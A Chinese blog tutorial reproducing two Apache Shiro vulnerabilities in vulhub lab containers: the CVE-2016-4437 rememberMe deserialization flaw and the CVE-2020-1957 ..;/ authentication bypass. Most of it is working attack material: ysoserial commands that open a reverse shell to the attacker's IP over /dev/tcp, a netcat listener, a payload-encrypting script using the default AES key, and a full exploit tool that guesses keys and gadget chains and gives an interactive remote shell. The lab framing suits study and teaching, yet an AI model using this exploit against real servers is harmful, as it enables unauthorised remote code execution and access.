当前位置:   article > 正文

(二)vulhub专栏:Shiro漏洞复现汇总_vulhub漏洞复现

vulhub漏洞复现

入职大厂必会

Shiro CVE-2016-4437反序列化漏洞

启动靶场

在终端里进入事先进入准备好的vulhub靶场目录下,

cd vulhub-master/shiro/CVE-2016-4437/
sudo docker-compose up -d
  • 1
  • 2

执行命令后,看到如下图所示即为成功,此时可在浏览器中输入http://ip:8090,正常访问即为靶场启动成功。

image-20220603144408459

漏洞发现

漏洞成因

Shiro提供了登录时记住我的功能。其流程为:

  1. 读取cookie中的rememberMe
  2. Base64解密
  3. AES解密
  4. 反序列化

从Shiro漏洞形成的原因看,是在开发过程中,没有对密钥进行更换,采用了默认的AES密钥或网上常用的密钥。攻击者通过构造恶意对象并通过密钥进行AES加密再经过Base64加密后,放在Cookie中提交,Shiro读取Cookie并解密,反序列化,进而导致任意命令执行。这就给了攻击者可乘之机,构造对应的 payload:

命令=>序列化=>AES加密=>Base64编码=>Cookie存储rememberMe

寻找方式

所以寻找存在 Shiro反序列化漏洞的方法,就是观察Cookie是否有用rememberMe进行存储,然后再用 payload 尝试,可以看到如下图所示,响应中Set-Cookie:rememberMe=deleteMe,故推测存在Shiro反序列化漏洞。
image-20220603203253261

漏洞利用

手搓

知道原理后我们就开始利用漏洞了,环境如下:

靶机:192.168.75.146

攻击机:192.168.75.144

手搓学习请参考:

首先我们生成编码,通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java.exe -cp ysoserial-sleep.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
  • 1

6666为端口号

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=为下方Base64加密的值,对应换成你的攻击机的ip地址就行,目的是为了反弹shell:

bash -i >& /dev/tcp/192.168.75.144/1234 0>&1

然后加密一下我们的rememberMe指向的端口,脚本如下:

#shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-sleep.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

然后执行:

python shiro.py 192.168.75.144:6666
  • 1

将生成的rememberMe作为cookie,此时执行:

nc -lvp 1234
  • 1

监听1234端口,然后再发包,就能成功反弹shell了。我参考文章后,没能成功,可能是我在windows的情况下吧。有哪个大佬看到了还望指引小弟一下,具体出错如下:

image-20220603195107573

上面的博主写得也很详细了,大概流程也明白了,我这走不通就直接上别人写好的工具吧那就,

工具

py源码如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/exphub
import os
import sys
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

if len(sys.argv)!=2:
    print('+-------------------------------------------------------------------------------------------------------+')
    print('+ DES: By zhzyker as https://github.com/zhzyker/exphub                                                  +')
    print('+      Vuln Name: CVE-2016-4437 | Shiro 550  |  Shiro 1.2.4                                             +')
    print('+                                                                                                       +')
    print('+      Nc shell need encode command: http://www.jackson-t.ca/runtime-exec-payloads.html                 +')
    print('+      Original: bash -i >&/dev/tcp/1.1.1.1/233 0>&1                                                    +')
    print('+      Encoding: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvMjMzIDA+JjE=}|{base64,-d}|{bash,-i}  +')
    print('+-------------------------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url>                                                                         +')
    print('+ EXP: python3 shiro-1.2.4_rce.py http://1.1.1.1:8080                                                   +')
    print('+ VER: Apahce Shiro <= 1.2.4                                                                            +')
    print('+-------------------------------------------------------------------------------------------------------+')
    sys.exit()
url = sys.argv[1]
cmd_sleep = 'sleep-5'
ysoserial = 'ysoserial-sleep.jar'
gadget_list = ["CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"]
key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA=="]
header = {
'User-agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'
}
print ("[*] Testing gadget")
for gadget in gadget_list:
    print ("[*] Check gadget: " + gadget)
    for key in key_list:
        popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        payload = base64_ciphertext.decode()
        try:
            r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
            time = r.elapsed.seconds
            if time >= 5:
                key_succes = key
                gadget_succes = gadget
                print ("[+] Find gadget: " + gadget_succes)
            else:
                key_failed = key
                gadget_failed = gadget
        except:
            print ("[-] Check Failed: " + gadget)

print ("[+] Find Key: " + key_succes)
def exploit(url, cmd, key_succes, gadget_succes):

    if system == "linux":
        base64_cmd = base64.b64encode(str.encode(cmd))
        cmd64 = base64_cmd.decode('ascii')
        command = "bash -c {echo," + cmd64 + "}|{base64,-d}|{bash,-i}"
        print ("[+] [Linux] Base64 Command: " + command)
    elif system == "windows":
#        print (gadget_succes)
        command = str(cmd)
        print ("[+] [Windows] Command:" + command)

    popen = subprocess.Popen(['java', '-jar', ysoserial, gadget_succes, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key_succes), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    payload = base64_ciphertext.decode()
    try:
        r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
        if r.status_code == 200:
            print ("[+] Command Send Succes, Please Check (No Echo)")
        else:
            print ("[-] Command Send Failed, Please Check (No Echo)")
    except:
        print ("[-] Command Send Failed, Please Check (No Echo)")
if key_succes:
    while 1:
        system = input("[*] System (linux or windows): ")
        if system == "linux":
            while 2:
                cmd = input("Shell >>> ")
                if cmd == "exit" : exit(0)
                exploit(url, cmd, key_succes, gadget_succes)
        elif system == "windows":
            while 3:
                cmd = input("Shell >>> ")
                if cmd == "exit" : exit(0)
                exploit(url, cmd, key_succes, gadget_succes)
        elif system == "exit": exit(0)
        else:
            print ("[-] The operating system is not recognized")
else:
    print ("[-] Not Key, Not Gadget, Not vuln")
    sys.exit()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110

直接执行py工具:

python shiro-1.2.4_rce.py http://192.168.75.146:8080
  • 1

执行后,要求我们输入linux或者windows,我们输入对应的靶机的系统版本即可,然后会要求我们输入Shell:

bash -i >& /dev/tcp/192.168.75.144/1234 0>&1
  • 1

image-20220603202115240

到此,Shiro漏洞就算介绍完毕了,感谢大家听我废话一堆。

建议好好学习Shiro原理,大厂面试必问。工具的话,github搜索就有。

Shiro CVE-2020-1957认证绕过漏洞

影响范围

Apache Shiro < 1.5.3

漏洞成因

在Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,通过构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

客户端请求URL: /xxx/…;/admin/

Shrio 内部处理得到校验URL为 /xxx/…,校验通过

SpringBoot 处理 /xxx/…;/admin/, 最终请求 /admin/, 成功访问了后台请求。

漏洞利用

环境准备
名称IP
攻击机192.168.75.162
靶机192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可

cd vulhub-master/shiro/CVE-2020-1957
docker-compose up -d
  • 1
  • 2

然后在浏览器中访问http://192.168.75.146:8080

在这里插入图片描述

漏洞复现

我们正常流程登录进入后台,如下所示:

在这里插入图片描述

image-20220726142553396

接下来我们退出登录并在URL中构造恶意请求:

http://192.168.75.146:8080/xxx/..;/admin/
  • 1

发现访问成功!

image-20220726142728367

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/923139
推荐阅读
  

闽ICP备14008679号